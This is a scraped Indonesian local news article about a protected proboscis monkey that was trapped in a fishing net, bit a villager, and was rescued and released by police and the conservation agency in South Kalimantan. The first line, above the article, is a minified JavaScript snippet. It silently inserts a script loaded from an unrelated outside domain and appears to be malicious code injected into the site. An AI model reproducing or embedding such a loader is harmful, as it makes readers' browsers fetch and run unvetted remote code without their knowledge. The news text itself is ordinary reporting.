(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Bhabinkabtimas bersama warga wilayah Atom Desa Haur Kuning RT 004 Kecamatan Beruntung Baru Kabupaten Banjar menemukan seekor bekantan masuk ke dalam jaring ikan milik warga.
Informasi yang diterima, hewan endemik Kalimantan ini terperosok ke dalam jaring ikan itu sekitar pukul 10.00 Wita, pada Selasa (6/2/2024) lalu.
Kasi Humas Polres Banjarbaru, AKP Syahruji mengatakan bahwa Bhabinkamtibmas Desa Haur Kuning Aipda Puput Ra langsung mendatangi lokasi jaring setelah mendapat laporan warga.
Baca juga:Â Pagar Tembok di Banjarmasin Ambruk, Mobil M Noor Rusak Parah Tertindih Beton
“Wilayah ini meskipun masuk Kabupaten Banjar namun wilayah hukumnya masuk Polres Banjarbaru. Terkait peristiwa itu benar ada salah satu hewan dilindungi berupa bekantan, terkena jaring salah satu nelayan,” ungkap AKP Syahruji kepada Kanalkalimantan.com, Rabu (7/2/2024).
Syahruji mengatakan, saat akan diselamatkan dari jerat tali itu, bekantan sempat menyerang dengan menggigit salah satu warga bernama Sani.
“Dimana ketika mau diamankan sempat menyerang salah satu warga, dan warga itu mengalami luka,” sebut dia.
Baca juga:Â Dua Kurir Narkoba Jaringan Internasional Diringkus, Bawa 7 Kg Sabu Beserta 5.000 Butir Ekstasi
Tak berselang lama, warga bersama personel kepolisian berhasil mengevakuasi hewan liar yang masuk permukiman penduduk itu.
“Kemudian Bhabinkamtibmas berkordinasi dengan BKSDA Kalsel termasuk warga sekitar, akhirnya hewan langka tersebut bisa dievakuasi dan diamankan,” jelasnya.
Usai dievakuasi, kata dia, bekantan itu langsung dibawa oleh BKSDA dengan didampingi oleh personel Bhabinkamtibmas kemudian dilepasliarkan yang telah dipersiapkan yakni Cagar Alam Pulau Bakut di Kabupaten Barito Kuala.
Baca juga: Dugaan Kasus ‘Pemangsa Anak’ di Lingkungan Ponpes, Polisi Libatkan DP3APMP2KB dan Kemenag Banjarbaru
“Saat ini bekantan itu sudah dilepas di tempat yang sudah dipersiapkan,” imbuh Syahruji.
Lebih jauh Syahruji mengimbau untuk masyarakat selalu segera dapat melaporkan kepada pihak kepolisian maupun instansi terkait jika menemukan peristiwa serupa.
Baca juga:Â Qoriah Asal Sungai Paring Wakili Indonesia ke MTQ Internasional di Teheran, Iran
“Agar sekiranya peristiwa membahayakan tersebut dapat cepat ditangani secara cepat juga,” tuntas dia. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.